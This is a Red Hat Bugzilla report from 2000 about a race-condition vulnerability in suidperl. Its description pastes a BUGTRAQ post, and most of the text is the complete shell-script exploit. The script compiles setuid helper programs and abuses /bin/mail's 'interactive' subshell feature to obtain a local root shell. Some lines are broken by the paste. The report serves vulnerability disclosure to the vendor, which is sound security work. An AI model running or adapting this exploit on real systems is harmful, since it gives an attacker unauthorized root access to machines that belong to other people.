This service will be undergoing maintenance at 00:00 UTC, 2016-09-28. It is expected to last about 1 hours
Bug 15630 - Root exploit in sperl
Root exploit in sperl
Status: CLOSED DUPLICATE of bug 15625
Product: Red Hat Linux
Classification: Retired
Component: perl (Show other bugs)
6.2
All Linux
high Severity medium
: ---
: ---
Assigned To: Crutcher Dunnavant
: Security
Depends On:
Blocks:
  Show dependency treegraph
 
Reported: 2000-08-07 08:13 EDT by ksparger
Modified: 2008-05-01 11:37 EDT (History)
0 users

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2000-08-07 08:13:57 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:


Attachments (Terms of Use)

  None (edit)
Description ksparger 2000-08-07 08:13:56 EDT
As seen in BUGTRAQ over the weekend, there's a race condition vulnerability
in sperl which can be exploited to generate a root shell from a local
account.

(BTW, my cut and pastes my be fsck'd up.  Might wanna check the BUGTRAQ
archives, if you can't duplicate.)

Content of the email in question:

Date: Sat, 5 Aug 2000 18:39:22 +0200
From: Michal Zalewski <lcamtuf@DIONE.IDS.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
Subject: sperl 5.00503 (and newer ;) exploit
Parts/Attachments:
   1 Shown     74 lines  Text
   2          4.7 KB     Application, ""
----------------------------------------


Not much to say (except I feel little bit stupid posting it) ... This
exploit gives instant root, at least on RedHat 6.x/7.0 Linux boxes I have
available for tests... And for sure, all other systems are vulnerable as
well - it's just maybe this code will need some refining / tuning /
minor changes...

Below you'll find brief description of vulnerability and exploit itself,
written by me. Please note - I didn't developed everything by myself, I
get great support from Sebastian Krahmer - see development history. I
still pray he won't get angry on me (probably he will) - but he should be
listed at first any time you're talking about this vulnerablity (he made
me think with his findings :P).

I don't know who should be blamed - perl vendors? /bin/mail vendors for
putting undocumented (at least on manpage) features? Hmm... I guess it's
nobody's fault ;)

Requires: +s perl; bash, gcc, make, usleep (yup, usleep; it's not
available on every system, but I have no time to rewrite everything in C;
you can grab this code from RedHat distro or so) will be good... Don't
mail me if you can't use it - it works.

And now, some reading.

_______________________________________________________
Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=

Exploit code:

#!/bin/sh

#
#    -- PLEASE READ THESE COMMENTS CAREFULLY BEFORE TRYING ANYTHING --
#
# Wonderful, lovely, world-smashing, exciting perl exploit. It works
against
# +s suidperl, exploiting undocumented /bin/mail feature when perl wants to
# notify root on inode race conditions. Currently, tested under RH Linux.
#
# What's probably most shocking, buggy code has following comment inside:
# /* heh, heh */. I guess author wasn't laughning last.
#
# Development history of this exploit is really funny. I found this
condition
# about 4 months ago, but thought it's useless (who wants to notify root?).
# I deleted my test code and didn't left any notes on it. Then, month after
# this discovery, Sebastian contacted me. He was working on perl exploit.
# He told me he don't know how to cause this condition to happen, but
# if he realise how he can do it, he'll be able to use undocumented
/bin/mail
# feature - environmental variable 'interactive', which, if set, causes
# /bin/mailto interpret ~! commands (subshell requests) even if stdin is
not
# on terminal. And then I understood what I've done. I spent next month
# (yes! no kidding!) trying to recall what the fsck was the condition.  I
# remembered it was trivial, even annoying... And finally, now I'm able to
# reconstruct it.
#
# This exploit tries to fit in rather short, but reasonable time window in
# order to exploit it. I tested it on fast, not overloaded Linux box, and
# I guess on slow machines it needs tunning. It needs anything setuid
# (/usr/bin/passwd is just fine), writable working directory and something
# around 4 minutes. Working directory should be mounted without noexec or
# nosuid options (if so, find something like /var/lib/svgalib etc).
#
# WARNING: On slow machines, it's quite possible this exploit will cause
# heavy load. Please test it when system is not overloaded and not used
# (eg. at night).
#
#
# I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered
it
# - I think I can say it without shame), and especially thank to several of
# my braincells that survived monitor radiation and made me recall this
# race condition.
#
# Send comments, ideas and flames to <lcamtuf@ids.pl>
# Tested with sperl 5.00503, but should work with any other as well. 
#
# Good luck and don't abuse it.
#

clear

echo "Suidperl 5.00503 (and newer) root exploit"
echo "-----------------------------------------"
echo "Written by Michal Zalewski <lcamtuf@dione.ids.pl>"
echo "With great respect to Sebastian Krahmer..."
echo

SUIDPERL=/usr/bin/suidperl
SUIDBIN=/usr/bin/passwd

echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."

if [ ! -u $SUIDPERL ]; then
  echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"
  echo "    does not exist at all. If there's +s perl binary available,"
  echo "    please change SUIDPERL variable within exploit code."
  echo
  exit 0
fi


if [ ! -u $SUIDBIN ]; then
  echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist
at"
  echo "    all. Please pick any other +s binary and change SUIDBIN
variable"
  echo "    within exploit code."
  echo
  exit 0
fi

echo "[+] Checks passed, compiling flares and helper applications..."
echo

cat >flare <<__eof__
#!/usr/bin/suidperl

print "Nothing can stop me now...\n";

__eof__
cat >bighole.c <<__eof__
main() {
  setuid(0);
  setgid(0);
  chown("sush",0,0);
  chmod("sush",04755);
}
__eof__

cat >sush.c <<__eof__
main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
}
__eof__

make bighole sush

echo

if [ ! -x ./sush ]; then
  echo "[-] Oops, seems to me I cannot compile helper applications. Either"
  echo "    you don't have working 'make' or 'gcc' utility. If possible,"
  echo "    please compile bighole.c and sush.c manually (to bighole and
sush)."
  echo
  exit 0
fi

echo "[+] Setting up environment..."

chmod 4755 ./flare

FILENAME='none

~!bighole

'
export interactive=1
PATH=.:$PATH

echo "[+] Starting exploit. It could take up to 5 minutes in order to get"
echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause"
echo "[+] heavy system load."

while :; do
  ( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL
./"$FILE
NAME" <./flare & ) &>/dev/null &
  ( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null &
  if [ -u ./sush ]; then
    echo
    echo "[+] VOILA, BABE :-) Entering rootshell..."
    echo
    rm -f "$FILENAME" sush.c bighole bighole.c flare
    ./sush
    echo
    echo "[+] Thank you for using Marchew Industries / dupa.ryba products."
    echo
    rm -f "$FILENAME" sush.c bighole bighole.c flare sush
    exit 0
  fi
done
Comment 1 Nalin Dahyabhai 2000-08-07 08:24:55 EDT

*** This bug has been marked as a duplicate of 15625 ***

Note You need to log in before you can comment on or make changes to this bug.